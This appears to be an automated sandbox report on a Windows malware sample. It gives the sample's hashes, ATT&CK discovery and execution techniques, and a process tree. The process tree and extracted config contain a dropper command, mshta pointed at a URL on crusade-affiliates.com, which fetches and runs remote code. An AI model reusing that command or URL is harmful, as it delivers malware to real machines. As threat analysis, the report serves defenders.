2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 10:32

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General

Target
jaffacakes118_2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db.exe
Size 57KB
Sample260930-mk8baaxwdv
SHA256 2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db
MD5 55bf52d0736784d2f31c8d82bc9239cf
SHA1 3bb34ec7bd350bba2b6508f43a3d3298619bff9c
SHA512 7fda35c36df6ddc57913d49c87c1ad52d7eebfd5d2ede1a62bca122877f31fc17281956bdfd18e878524946c59895d88ec8b4fc99162e98cce133904409ec72f
SSDEEP 1536:vEq8Q817peXp+s2bdkaIrWHkQRx4fV+vdB:wV1ApubGaRTRWs
TLSH
T13243491FF591C570C041CAF85C3DC695FA3B3EA0692F1BB6BA5A36CD8BB1E62580C049
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://crusade-affiliates.com/install.php?id=5c8abfe4c1c5c4c4c777ce31dc3c8824

Signatures

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4976	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	mshta.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 4976	1820	jaffacakes118_2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db.exe	88
PID 4976 wrote to memory of 3516	4976	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2ef36db91cb68b74b9fa8cebbef827ba71a7156f11177d7a110389b8bba584db.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\ops.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\SysWOW64\mshta.exe
    mshta "http://crusade-affiliates.com/install.php?id=5c8abfe4c1c5c4c4c777ce31dc3c8824"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:3516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ops.bat

Path C:\Users\Admin\AppData\Local\Temp\ops.bat
Size 774B
SHA256 c82a861d0807b6574bf87256c01a0a05224341fc09c4e0c4a1196cdc26f3fbca
MD5 e835c7af162a164e81814c3be24203c4
SHA1 a9b20c6098243d9497037868a5291de892f10462
SHA512 99b034ca3e74fabccd39b1a9d76c135bb8a32f96b56bec973df96ba103716ac3cf9e077cb17657c412382c2393f4c79ed21cc5dc426964c3afd6573445c8da87
TLSH
T16D01560367C5CFD7CC03565A69A10058586BCEA5BA579306CDB0573F424ED8AD0F71A7
MD5 SHA1 SHA512 TLSH

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memory/1820-4-0x0000000000400000-0x0000000000414000-memory.dmp

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